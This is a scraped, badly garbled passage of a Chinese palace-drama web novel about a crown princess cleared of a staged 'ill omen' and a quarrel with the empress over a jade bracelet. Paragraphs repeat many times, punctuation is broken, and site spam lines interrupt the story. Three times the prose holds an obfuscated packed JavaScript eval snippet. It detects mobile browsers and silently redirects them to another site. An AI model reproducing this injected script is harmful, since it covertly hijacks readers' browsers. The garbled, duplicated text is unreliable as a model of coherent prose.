她的背脊绷得像弓,泫然欲泣,看上去楚楚可怜,惹人怜惜。 云清婳,怎么样? 怕了吗? 只要你被冠上不祥的名头,你的家族、孩子都会被视为不详,让人避之不及。 皇上即使再喜欢皇孙又如何? 在国家面前,他们算什么? 苏灵音抚摸着小腹,脸上露出势在必得的向往的表情,她已经在幻想将来被晋为太子妃,她的孩子晋为皇太孙的场景了。 “请父皇降罪于太子妃!虽然太子妃赈灾、捐款无数,但或许正是因为她的存在,大昭才会有这么多天灾人祸! 说不定这些天灾正是太子妃一手促成的,事后再假装大善人,博好名声罢了。”睿王的眼神森冷。 拥护虞将军的官员像是被一语惊醒,点头称是。 “我们不仅不应该感谢她,反而该给她定罪!” “最好找个道士把她抓起来!” “宁可信其有,不可信其无啊!” 皇后像是找到了靠山,现在也顾不上跟虞贵妃的恩怨,她用手扶着脑袋,“陛下,也不知是不是巧合……自从太子妃嫁进门,臣妾的身子也一天不如一天。” 云清婳露出委屈的表情,认命般无奈地阖上眼。 “五弟是 吃酒了吗?!”裴云澈冷不丁地抛出一句话。 睿王一噎他从未见过裴云澈这般阴鸷“三皇兄为何这么说?” “不然你为何说出这么荒唐的话?世间哪有这么神乎其神的术法?倘若有太子妃何不对你下咒?把攻讦她的人统统杀掉?”裴云澈不留情面的讽刺。 睿王的脸都绿了。 皇后心中明白裴云澈表面上看起来正义凛然可心里就是在护着云清婳。 “云澈你为何要掺和进来?别忘了上次若不是她你怎会被狼王所伤?”皇后心疼地提醒。 同时也是在警告裴云澈不要管云清婳。 “……”裴云澈眼中的温度尽数消失。 他心中对皇后的厌烦加深了一层。 云清婳垂下眼“父皇儿臣问心无愧不知为何这么多人联合起来攻讦儿臣!难道当初儿臣替父皇挡刀也是儿臣能操纵的?” 说着她瞥了睿王一眼。 睿王、虞将军像被踩中痛脚脸比锅底还黑。 “你身为儿媳、身为人臣为皇上挡刀是你的荣幸、是你的本分!你还想挟恩图报不成?亏本宫还以为你懂事没想到你的内心全是算计!”皇后像是抓住了云清婳的把柄大说特说。 云家人哑口无言脸色十分难看。 云清婳却一脸平静没有被吓到 她反问出声。 气氛瞬间变得微妙起来。 四下突然安静。 皇后的脸色登时有些难看。 因为当时宴厅有刺客她吓得六神无主害怕不已。 别说替皇上挡箭了她都自顾不暇了。 皇上也想到了皇后的表现皇后并未有半分保护他的举动只顾着自己。 只有云清婳护住了他。 “够了!”皇上剜了皇后一眼“今日是太子妃的寿宴在大庭广众之下针锋相对成何体统?!” 皇后委屈地阖上了唇瓣。 皇上话锋一转“不如等今日过后再讨论凤凰的事吧。” 云清婳觉得讽刺。 老毕 登还不相信她? 她究竟是不是不祥之人,老毕登真的不知道? 就在这时,魏娴牵着承基、辞忧来了。 孩子甩着小肉腿,争先恐后的跑到云清婳的左右。 承基伸出肉嘟嘟的小手,为她揩去眼泪,“娘亲不哭。” “娘亲吃糕糕。”辞忧从身上的小兜里掏出了一块芙蓉糕,喂到云清婳嘴边。 云清婳吸吸鼻子,像是害怕吓到孩子,努力忍住眼泪,“辞忧自己吃吧,娘亲不饿。” 这一幕,让许多女眷眼睛都酸了。 不论她是不是灾星,她都只是一个柔弱的女人,一个母亲。 皇上微不可闻的叹息,眼中流露出心疼。 皇后看着孩子,心疼地哄道:“别哭了,你们娘亲做了错事,所以才会落得这个下场。到时候皇祖母给你找个更好的娘亲。” 两个孩子似是受到了惊吓,嚎啕大哭。 云清婳一脸厉色,“皇后娘娘,真相尚未水落石出,您怎能在孩子面前妄下定论?” “你懂不懂规矩?你怎敢跟本宫这么……” “皇后,你住口!”皇上低吼。 皇后的眼泪都被吓出来,她恹恹地缩了缩肩膀,“是。” “不哭了,娘亲没事。”云清婳柔声哄道。 孩子的哭声这才渐渐变小。 “陛下,儿臣真的冤枉,平日也就罢了,但儿臣作为皇孙的母亲,绝不能在孩子面前有污点,倘若水落石出,求陛下为儿臣主持公道!”云清婳叩首。 皇上敷衍的颔首。 苏灵音得意地抚摸着发髻,嘴角勾出一抹笑弧。 可惜,此事恐怕难以有转机了! 忽的,门外传来阵阵惊呼。 众人齐刷刷地扭过脸,朝门外的方向看去。 他们不约而同地目瞪口呆:“这这这……” “太大逆不道了……” “天啊!上苍恐怕会降罪于大昭……” 只见裴墨染抓住方才的“凤凰”大步流星的回来了。 “凤凰”的翅膀上中了一箭,鲜血正在往外渗。 血滴了一路。 皇上的脸色陡变变黑,“太子!你做了什么?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 登还不相信她? 她究竟是不是不祥之人,老毕登真的不知道? 就在这时,魏娴牵着承基、辞忧来了。 孩子甩着小肉腿,争先恐后的跑到云清婳的左右。 承基伸出肉嘟嘟的小手,为她揩去眼泪,“娘亲不哭。 “娘亲吃糕糕。辞忧从身上的小兜里掏出了一块芙蓉糕,喂到云清婳嘴边。 云清婳吸吸鼻子,像是害怕吓到孩子,努力忍住眼泪,“辞忧自己吃吧,娘亲不饿。 这一幕,让许多女眷眼睛都酸了。 不论她是不是灾星,她都只是一个柔弱的女人,一个母亲。 皇上微不可闻的叹息,眼中流露出心疼。 皇后看着孩子,心疼地哄道:“别哭了,你们娘亲做了错事,所以才会落得这个下场。到时候皇祖母给你找个更好的娘亲。 两个孩子似是受到了惊吓,嚎啕大哭。 云清婳一脸厉色,“皇后娘娘,真相尚未水落石出,您怎能在孩子面前妄下定论? “你懂不懂规矩?你怎敢跟本宫这么…… “皇后,你住口!皇上低吼。 皇后的眼泪都被吓出来,她恹恹地缩了缩肩膀,“是。 “不哭了,娘亲没事。云清婳柔声哄道。 孩子的哭声这才渐渐变小。 “陛下,儿臣真的冤枉,平日也就罢了,但儿臣作为皇孙的母亲,绝不能在孩子面前有污点,倘若水落石出,求陛下为儿臣主持公道!云清婳叩首。 皇上敷衍的颔首。 苏灵音得意地抚摸着发髻,嘴角勾出一抹笑弧。 可惜,此事恐怕难以有转机了! 忽的,门外传来阵阵惊呼。 众人齐刷刷地扭过脸,朝门外的方向看去。 他们不约而同地目瞪口呆:“这这这…… “太大逆不道了…… “天啊!上苍恐怕会降罪于大昭…… 只见裴墨染抓住方才的“凤凰大步流星的回来了。 “凤凰的翅膀上中了一箭,鲜血正在往外渗。 血滴了一路。 皇上的脸色陡变变黑,“太子!你做了什么? 你的朋友正在书荒,快去帮帮他吧 登还不相信她? 她究竟是不是不祥之人老毕登真的不知道? 就在这时魏娴牵着承基、辞忧来了。 孩子甩着小肉腿争先恐后的跑到云清婳的左右。 承基伸出肉嘟嘟的小手为她揩去眼泪“娘亲不哭。” “娘亲吃糕糕。”辞忧从身上的小兜里掏出了一块芙蓉糕喂到云清婳嘴边。 云清婳吸吸鼻子像是害怕吓到孩子努力忍住眼泪“辞忧自己吃吧娘亲不饿。” 这一幕让许多女眷眼睛都酸了。 不论她是不是灾星她都只是一个柔弱的女人一个母亲。 皇上微不可闻的叹息眼中流露出心疼。 皇后看着孩子心疼地哄道:“别哭了你们娘亲做了错事所以才会落得这个下场。到时候皇祖母给你找个更好的娘亲。” 两个孩子似是受到了惊吓 云清婳一脸厉色“皇后娘娘真相尚未水落石出您怎能在孩子面前妄下定论?” “你懂不懂规矩?你怎敢跟本宫这么……” “皇后你住口!”皇上低吼。 皇后的眼泪都被吓出来她恹恹地缩了缩肩膀“是。” “不哭了娘亲没事。”云清婳柔声哄道。 孩子的哭声这才渐渐变小。 “陛下儿臣真的冤枉平日也就罢了但儿臣作为皇孙的母亲绝不能在孩子面前有污点倘若水落石出求陛下为儿臣主持公道!”云清婳叩首。 皇上敷衍的颔首。 苏灵音得意地抚摸着发髻嘴角勾出一抹笑弧。 可惜此事恐怕难以有转机了! 忽的门外传来阵阵惊呼。 众人齐刷刷地扭过脸朝门外的方向看去。 他们不约而同地目瞪口呆:“这这这……” “太大逆不道了……” “天啊!上苍恐怕会降罪于大昭……” 只见裴墨染抓住方才的“凤凰”大步流星的回来了。 “凤凰”的翅膀上中了一箭鲜血正在往外渗。 血滴了一路。 皇上的脸色陡变变黑“太子!你做了什么?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 登还不相信她? 她究竟是不是不祥之人,老毕登真的不知道? 就在这时,魏娴牵着承基、辞忧来了。 孩子甩着小肉腿,争先恐后的跑到云清婳的左右。 承基伸出肉嘟嘟的小手,为她揩去眼泪,“娘亲不哭。 “娘亲吃糕糕。辞忧从身上的小兜里掏出了一块芙蓉糕,喂到云清婳嘴边。 云清婳吸吸鼻子,像是害怕吓到孩子,努力忍住眼泪,“辞忧自己吃吧,娘亲不饿。 这一幕,让许多女眷眼睛都酸了。 不论她是不是灾星,她都只是一个柔弱的女人,一个母亲。 皇上微不可闻的叹息,眼中流露出心疼。 皇后看着孩子,心疼地哄道:“别哭了,你们娘亲做了错事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240670|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以才会落得这个下场。到时候皇祖母给你找个更好的娘亲。 两个孩子似是受到了惊吓,嚎啕大哭。 云清婳一脸厉色,“皇后娘娘,真相尚未水落石出,您怎能在孩子面前妄下定论? “你懂不懂规矩?你怎敢跟本宫这么…… “皇后,你住口!皇上低吼。 皇后的眼泪都被吓出来,她恹恹地缩了缩肩膀,“是。 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听说看这本书的人都是很幸运的,分享后你的运气会更棒 登还不相信她? 她究竟是不是不祥之人,老毕登真的不知道? 就在这时,魏娴牵着承基、辞忧来了。 孩子甩着小肉腿,争先恐后的跑到云清婳的左右。 承基伸出肉嘟嘟的小手,为她揩去眼泪,“娘亲不哭。” “娘亲吃糕糕。”辞忧从身上的小兜里掏出了一块芙蓉糕,喂到云清婳嘴边。 云清婳吸吸鼻子,像是害怕吓到孩子,努力忍住眼泪,“辞忧自己吃吧,娘亲不饿。” 这一幕,让许多女眷眼睛都酸了。 不论她是不是灾星,她都只是一个柔弱的女人,一个母亲。 皇上微不可闻的叹息,眼中流露出心疼。 皇后看着孩子,心疼地哄道:“别哭了,你们娘亲做了错事,所以才会落得这个下场。到时候皇祖母给你找个更好的娘亲。” 两个孩子似是受到了惊吓,嚎啕大哭。 云清婳一脸厉色,“皇后娘娘,真相尚未水落石出,您怎能在孩子面前妄下定论?” “你懂不懂规矩?你怎敢跟本宫这么……” “皇后,你住口!”皇上低吼。 皇后的眼泪都被吓出来,她恹恹地缩了缩肩膀,“是。” “不哭了,娘亲没事。”云清婳柔声哄道。 孩子的哭声这才渐渐变小。 “陛下,儿臣真的冤枉,平日也就罢了,但儿臣作为皇孙的母亲,绝不能在孩子面前有污点,倘若水落石出,求陛下为儿臣主持公道!”云清婳叩首。 皇上敷衍的颔首。 苏灵音得意地抚摸着发髻,嘴角勾出一抹笑弧。 可惜,此事恐怕难以有转机了! 忽的,门外传来阵阵惊呼。 众人齐刷刷地扭过脸,朝门外的方向看去。 他们不约而同地目瞪口呆:“这这这……” “太大逆不道了……” “天啊!上苍恐怕会降罪于大昭……” 只见裴墨染抓住方才的“凤凰”大步流星的回来了。 “凤凰”的翅膀上中了一箭,鲜血正在往外渗。 血滴了一路。 皇上的脸色陡变变黑,“太子!你做了什么?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第309章 你一定要本宫道歉? “鸟还没死。”裴墨染不以为意道。 “这是死没死的事吗?逆子,你怎么敢的?”皇上怒斥。 裴墨染举起鸟,让众人看得清楚,“这是凤凰吗?不如仔细看看!” 云清婳眼前一亮。 而苏灵音的脸色瞬间惨白,手不受控制的发起抖。 皇上递给御前太监一个眼神,御前太监拜了又拜才小心翼翼的走上前,他揉了揉眼睛,仔细一看,“这,这……这不太像凤凰,但此物也着实奇异!” 睿王死鸭子嘴硬道:“就算此物不是凤凰,但它这般奇异,还会说话,恐怕也是神兽吧?” “是啊,太子,你太冲动了!”皇上斥道。 睿王的眼中闪过得意,他见缝插针道:“四皇兄,你身为太子怎能伤害神兽呢?若是上苍降罪怎么办?你怎能为了太子妃,置百姓于不顾?” “是啊!”几个官员应和。 裴墨染的唇角扯出一抹讥诮,他徒手将鸟身上的七彩羽毛拔掉,不一会儿,七彩羽毛散落一地。 逐渐露出鸟的真身。 众人起初害怕不已,害怕天神降罪,可渐渐变得震惊。 “这些彩色羽毛,都是被浆糊粘上的!”裴墨染道。 王显将彩色羽毛放到桌上的酒水里搅了搅,羽毛上的颜料被洗掉了。 “陛下,这些羽毛不仅是假的,上面的颜色更是假的!这些原本只是鸡毛!”王显解释。 裴墨染冷笑,“这只是一只异常肥胖的灰鹦鹉!不仅被奸人伪装成凤凰,还教它说了大逆不道的话,诬陷太子妃,其心可诛!” 有个官员忍不住道:“是啊!**一拔掉,我就想说了,此物跟鹦鹉无异!” “是啊,简直一模一样……” “难怪它会说话,原来是鹦鹉啊。” 云隽叩首,“陛下!歹人不仅想诬陷太子妃,还妄图蒙蔽圣上,其心可诛啊!” “皇上定要查明真相,奸人一日不除,朝廷不得安宁。”云丞相道。 众人纷纷跪下**。 苏灵音脸上的汗珠不停地流。 皇上的眼眸微眯,眼眶深邃阴沉,如鹰隼般狠厉,“大理寺定要严查此事!” “是!”大理寺的官员立即应声。 睿王的眼珠子一转“皇兄您方才离开了半晌回来之后就带来了这只鹦鹉谁知道是不是假的呢?” “是啊太子跟太子妃感情极好莫不是为了给太子妃开脱?所以带了只假鹦鹉来?”虞将军的声音很小却字字清晰地落入每个人耳中。 皇后也道:“是啊!方才太子离开了好一会儿谁知道去干什么了?” 裴墨染不屑地睨了她一眼。 皇上也不耐烦地瞥了皇后一眼。 谁都可以质疑太子可作为皇后怎能当众给太子难堪让太子下不来台? 这不是明摆着告诉群臣皇家不合吗? “本宫可以证明!”裴墨染显然早就做好了准备。 他递给王显一个眼神王显从宴厅外带来了一个驯兽师。 驯兽师对皇上拜了拜“参见陛下草民是民间的驯兽师。” “嗯。”皇上用眼神催促他。 驯兽师从裴墨染手中接过鹦鹉这只鹦鹉着实不小只比母鸡小一点重量不轻。 “这当真是鹦鹉?”云将军忍不住问。 驯兽师笃定地颔首“千真万确!这是西域品种的灰鹦鹉对灰鹦鹉而言此种体型算小的西域还有更大的!” 他手法奇异的抚摸着灰鹦鹉 鹦鹉咕咚咕咚吞下饲料后肉嘟嘟的脖颈间发出沙哑的声音“太子妃不祥——” “扫把星——” 跟刚才的声音一模一样。 “就算本宫可以在离开的时间里装扮出一只假凤凰但本宫总不可能在这么短的时间里教会鹦鹉说话吧?”裴墨染讽刺的眼神刺向皇后、睿王。 皇后、睿王的脸上露出如出一辙的不甘、尴尬。 皇上的眼底渗出寒意那是一种被人戏弄的恼怒。 “大胆!大理寺跟北镇抚司、刑部一个月内速速捉拿凶手归案!”皇上怒斥。 “是!”所有人诚惶诚恐地跪下。 苏灵音浑身的力气好像被抽走她呼吸不过来简直都快昏过去。 云清婳抽噎地哭起来“呜呜……儿臣终于洗脱冤屈了……” 皇上这才想起还有云清婳的事没解决。 “方才何人诬陷攀咬太子妃,借题发挥,朕看得一清二楚!速速给太子妃道歉,朕概不追究!倘若当朝太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249435|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃都被人随意攀咬、指摘,朝廷可还有半分威严?皇上厉声道。 裴墨染将云清婳扶起身。 睿王、虞将军连忙对着云清婳磕头,谄媚笑道:“太子妃,方才我们被奸人误导,一时迷了心窍。 “您大人不记小人过,原谅我们这一次吧! “是啊,皇嫂,我们也是为江山社稷着想,所以才偏激了些!我们的本意也是为了大昭好。 云清婳的眼中掺着冰渣,“我还得夸你们不成?你们方才似乎很见不得我好,我的优点在你们口中成了罪过,把白的说成黑的! “那是因为…… 二人卡壳了,说不下去。 明显不是真心悔过。 云褚忍不住道:“那是因为你们嫉妒太子妃,想要毁了她! 睿王、虞将军一震,他们的脸瞬间通红,他们使劲摇头,否认这一切。“不不不……怎会呢? 但他们越否定,越能证明这就是他们的心中所想。 众人像在看跳梁小丑。 几个官员的视线又落在皇后身上。 云清婳也侧过脸去,眼含热泪,委屈可怜地看向皇后。 尽管让皇后道歉很荒谬,但云清婳也想试试。 只要能让皇后下不来台,丢脸,她的目的就达到了! “……皇后的脸颊浮现出两片红晕,从面皮到脖颈都发烧发烫。 皇上的眼眸刺向她,暗示皇后快点说两句话。 事已至此,作为长辈,随便说两句就过去了。 他希望皇后能识大体。 宴厅霎时变得分外安静,众人都齐刷刷地等待着皇后的反应。 “……皇后的脸更红了。 就好像她犯了**一般不可饶恕的大错。 她看向皇上,可却迎来皇上不耐烦的眼神。 裴墨染、裴云澈的目光更是冰冷,甚至全然是博弈赢后的得意。 皇后心如刀割,就好像丈夫、儿子全被云清婳抢走了。 他们同仇敌忾,把她当作了仇人! 皇后气急攻心,一口瘀血憋在胸口上不去下不来,憋得难受。 “太子妃,你一定要本宫给你,道歉吗?最后三个字,皇后故意一字一顿。 她挤出扭曲的笑,笑意不达眼底。 第310章 传世灵玉 云清婳很想说是的! 但是这么多人都看着她不能留下话柄。 但她也不能就这样过去。 她垂下眼看起来弱柳扶风委曲求全道:“母后不愿的话就算吧儿臣替您跟父皇说说。” 云清婳巧妙地将皇后与她的矛盾转换成皇后与皇上的矛盾。 话音刚落皇上就瞪了皇后一眼。 皇后眉眼一跳鬓角的青筋都凸起来了。 说得好像是她在忤逆皇上! “本宫跟你说笑呢方才是本宫太着急了!你别往心里去。”皇后的眼泪在眼眶打转极力维持着体面掩饰狼狈。 皇上狠狠掐了下眉心感到无比的疲惫。 皇后一大把年纪了却这么小家子气一点点小事就好像受到了天大的委屈。 “儿臣日后一定让母后满意。”她哽咽道。 此话一出宾客都对云清婳投去怜悯、同情的眼神。 就好像是长期忍受被婆婆家暴的儿媳妇。 皇后虚伪的假面都好像快要维持不下去气得差点咬碎银牙。 “父皇、母后既然误会解开了寿宴继续吧儿臣还有礼物想要送给母后跟母亲。”云清婳道。 皇上颔首“太子妃孝顺有心了。” 她福福身“这是儿女的本分。” 皇后想要撕裂她虚伪的面皮这个**装什么孝顺? …… 宴席继续但在座的人已经没了方才的心情。 特别是苏灵音她心不在焉脸上的血色尽褪。 皇后脸上厚重的胭脂水粉都被眼泪晕开了她随意找了个借口去侧殿补妆。 “这个**!居然当众让本宫下不来台。”皇后怒骂。 金嬷嬷给她擦去眼角晕开的桃色胭脂 “本宫倒是觉得那幕后之人没错她本就不祥!”皇后阴恻恻地说。 吱呀—— 门被推开。 一座屏风将内外的人阻隔起来。 “堂姐你没事吧?方才是不是吓到了?”云蓉的声音响起。 云清婳摇摇头“别提了!方才 的事也不知是何人的手笔,就怕是亲近之人。” “倘若是苏灵音,就把她交给皇上。她可不是第一次犯贱了!”云蓉恶狠狠地说。 皇后激动地腾地站起身。 多亏金嬷嬷拉住她,对她比了个噤声的手势。 “……”皇后的眼中充满担忧,手紧紧攥了起来,指尖泛着乳白色。 云清婳发出一声轻蔑的冷笑,“苏灵音最好把尾巴藏好点。” 皇后恨不得立刻冲出去甩云清婳一巴掌。 这两个**! 她们怎敢害灵音? “堂姐,传世灵玉这么好的东西,等会儿你真要给皇后?这可是无价之宝!”云蓉问。 “不然呢?总不能我送玉镯给娘亲,让皇后干看着?” 云蓉扑哧一声笑了,“我家里有一只相似的羊脂玉镯子,不如送给皇后吧。当时是花一百两银子买的,也不便宜呢。” “呵……”云清婳发出银铃般的笑声。 二人梳理了一下发髻,又说了几句体己话便离开了。 皇后气得鼻子都歪了,指甲都快嵌进手心肉,“云清婳还是人吗?送她亲娘无价之宝,拿一百两的地摊货糊弄本宫?虚伪至极!” “娘娘,本来太子妃是准备送传世灵玉给您的,都是十皇子妃挑拨。太子妃是孝顺的!”金嬷嬷安慰。 皇后一把甩开金嬷嬷,“住口!金嬷嬷,你是不是老糊涂了?怎么净帮着**说话?” “……”金嬷嬷垂下了头。 皇后到了宴厅,不一会儿云清婳捧着两个锦盒来了。 “这是儿臣为母后、娘亲准备的礼物,今日是儿臣的生辰,也是母亲的母难日。”她福福身。 皇上颔首,他捋着胡子点头,“太子妃孝顺!” 众人对云清婳露出赞赏的神情。 云清婳将锦盒双手递给金嬷嬷,金嬷嬷挤出勉强的笑,将锦盒呈给皇后。 “太子妃有心了。”皇后阴阳怪气地说着,神情冷得像是快要结冰。 云清婳又将锦盒双手捧给云夫人,“娘亲,这是我寻来的传世灵玉打磨而成的镯子。” 她把锦盒打开,一只水头莹润,质地清透的玉镯露了出来。 云夫人将玉镯戴在左手腕上 云夫人的眼圈都红了感动不已。 “娘亲戴着好看。”她道。 哇—— 许多女眷眼前一亮发出羡慕的声音。 “云夫人真是好福气啊!” “太子妃孝顺 “……” 云丞相酸溜溜道:“我怎么没有?” 云夫人剜了他一眼他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算坐如一棵松。 “母后镯子是儿臣猜测的尺寸也不知合不合适?”云清婳道。 裴墨染也道:“母后这是太子妃的一片心意您不如试试?” 皇上轻扬下巴示意她拿出来。 “……”皇后的脸色极其阴沉。 她勾起一边唇角“本宫这一只玉镯也是传世灵玉吗?” “自然。”云清婳斩钉截铁道她的眼中闪过狡黠。 皇后将锦盒打开锦盒里躺着一只水头相似的镯子。 她举起玉镯“可这只玉镯好像跟云夫人的不一样啊?” “母后说笑了这是同一块玉玉的质地怎会不同?”裴墨染道。 下一瞬皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地摔得四分五裂。 “啊……”云清婳发出惊呼眼泪在眼眶打转。 裴墨染忙不迭出列将云清婳护在身后“母后!你在做什么?” 皇上双手握拳骨节捏得咔咔作响“皇后你又怎么了?这是孩子的一番心意啊!” “陛下这只玉镯绝对不是传世灵玉!”皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉?” “太子妃竟敢这般肆意妄为?” 皇后长叹一声一副受伤的模样“本来本宫想着太子妃不愿送本宫传世灵玉也就罢了。可能太子妃心里没把本宫当作母亲但这也是太子妃的心意。可太子妃实在咄咄逼人明明送的是假玉镯还非要让本宫陪你作秀。” “母妃这是真的!”云清婳泪流满面她激动地陡然拔高声音。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 云夫人的眼圈都红了感动不已。 “娘亲戴着好看。”她道。 哇—— 许多女眷眼前一亮发出羡慕的声音。 “云夫人真是好福气啊!” “太子妃孝顺不愧是京中贵女的典范。” “……” 云丞相酸溜溜道:“我怎么没有?” 云夫人剜了他一眼他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算坐如一棵松。 “母后镯子是儿臣猜测的尺寸也不知合不合适?”云清婳道。 裴墨染也道:“母后这是太子妃的一片心意您不如试试?” 皇上轻扬下巴示意她拿出来。 “……”皇后的脸色极其阴沉。 她勾起一边唇角“本宫这一只玉镯也是传世灵玉吗?” “自然。”云清婳斩钉截铁道她的眼中闪过狡黠。 皇后将锦盒打开锦盒里躺着一只水头相似的镯子。 她举起玉镯“可这只玉镯好像跟云夫人的不一样啊?” “母后说笑了这是同一块玉玉的质地怎会不同?”裴墨染道。 下一瞬皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地摔得四分五裂。 “啊……”云清婳发出惊呼眼泪在眼眶打转。 裴墨染忙不迭出列将云清婳护在身后“母后!你在做什么?” 皇上双手握拳骨节捏得咔咔作响“皇后你又怎么了?这是孩子的一番心意啊!” “陛下这只玉镯绝对不是传世灵玉!”皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉?” “太子妃竟敢这般肆意妄为?” 皇后长叹一声一副受伤的模样 “母妃这是真的!”云清婳泪流满面她激动地陡然拔高声音。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 云夫人的眼圈都红了感动不已。 “娘亲戴着好看。”她道。 哇—— 许多女眷眼前一亮发出羡慕的声音。 “云夫人真是好福气啊!” “太子妃孝顺不愧是京中贵女的典范。” “……” 云丞相酸溜溜道:“我怎么没有?” 云夫人剜了他一眼他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算坐如一棵松。 “母后镯子是儿臣猜测的尺寸也不知合不合适?”云清婳道。 裴墨染也道:“母后这是太子妃的一片心意您不如试试?” 皇上轻扬下巴示意她拿出来。 “……”皇后的脸色极其阴沉。 她勾起一边唇角“本宫这一只玉镯也是传世灵玉吗?” “自然。”云清婳斩钉截铁道 皇后将锦盒打开锦盒里躺着一只水头相似的镯子。 她举起玉镯“可这只玉镯好像跟云夫人的不一样啊?” “母后说笑了这是同一块玉玉的质地怎会不同?”裴墨染道。 下一瞬皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地摔得四分五裂。 “啊……”云清婳发出惊呼眼泪在眼眶打转。 裴墨染忙不迭出列将云清婳护在身后“母后!你在做什么?” 皇上双手握拳骨节捏得咔咔作响“皇后你又怎么了?这是孩子的一番心意啊!” “陛下这只玉镯绝对不是传世灵玉!”皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉?” “太子妃竟敢这般肆意妄为?” 皇后长叹一声一副受伤的模样“本来本宫想着太子妃不愿送本宫传世灵玉也就罢了。可能太子妃心里没把本宫当作母亲但这也是太子妃的心意。可太子妃实在咄咄逼人明明送的是假玉镯还非要让本宫陪你作秀。” “母妃这是真的!”云清婳泪流满面她激动地陡然拔高声音。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,云夫人的眼圈都红了,感动不已。 “娘亲戴着好看。她道。 哇—— 许多女眷眼前一亮,发出羡慕的声音。 “云夫人真是好福气啊! “太子妃孝顺,不愧是京中贵女的典范。 “…… 云丞相酸溜溜道:“我怎么没有? 云夫人剜了他一眼,他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算,坐如一棵松。 “母后,镯子是儿臣猜测的尺寸,也不知合不合适?云清婳道。 裴墨染也道:“母后,这是太子妃的一片心意,您不如试试? 皇上轻扬下巴,示意她拿出来。 “……皇后的脸色极其阴沉。 她勾起一边唇角,“本宫这一只玉镯也是传世灵玉吗? “自然。云清婳斩钉截铁道,她的眼中闪过狡黠。 皇后将锦盒打开,锦盒里躺着一只水头相似的镯子。 她举起玉镯,“可这只玉镯,好像跟云夫人的不一样啊? “母后说笑了,这是同一块玉,玉的质地怎会不同?裴墨染道。 下一瞬,皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地,摔得四分五裂。 “啊……云清婳发出惊呼,眼泪在眼眶打转。 裴墨染忙不迭出列,将云清婳护在身后,“母后!你在做什么? 皇上双手握拳,骨节捏得咔咔作响,“皇后,你又怎么了?这是孩子的一番心意啊! “陛下,这只玉镯绝对不是传世灵玉!皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉? “太子妃竟敢这般肆意妄为? 皇后长叹一声,一副受伤的模样,“本来本宫想着,太子妃不愿送本宫传世灵玉也就罢了。可能太子妃心里没把本宫当作母亲,但这也是太子妃的心意。可太子妃实在咄咄逼人,明明送的是假玉镯,还非要让本宫陪你作秀。 “母妃,这是真的!云清婳泪流满面,她激动地陡然拔高声音。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249436|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你的朋友正在书荒,快去帮帮他吧 云夫人的眼圈都红了感动不已。 “娘亲戴着好看。”她道。 哇—— 许多女眷眼前一亮发出羡慕的声音。 “云夫人真是好福气啊!” “太子妃孝顺不愧是京中贵女的典范。” “……” 云丞相酸溜溜道:“我怎么没有?” 云夫人剜了他一眼他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算坐如一棵松。 “母后镯子是儿臣猜测的尺寸也不知合不合适?”云清婳道。 裴墨染也道:“母后这是太子妃的一片心意您不如试试?” 皇上轻扬下巴示意她拿出来。 “……”皇后的脸色极其阴沉。 她勾起一边唇角“本宫这一只玉镯也是传世灵玉吗?” “自然。”云清婳斩钉截铁道她的眼中闪过狡黠。 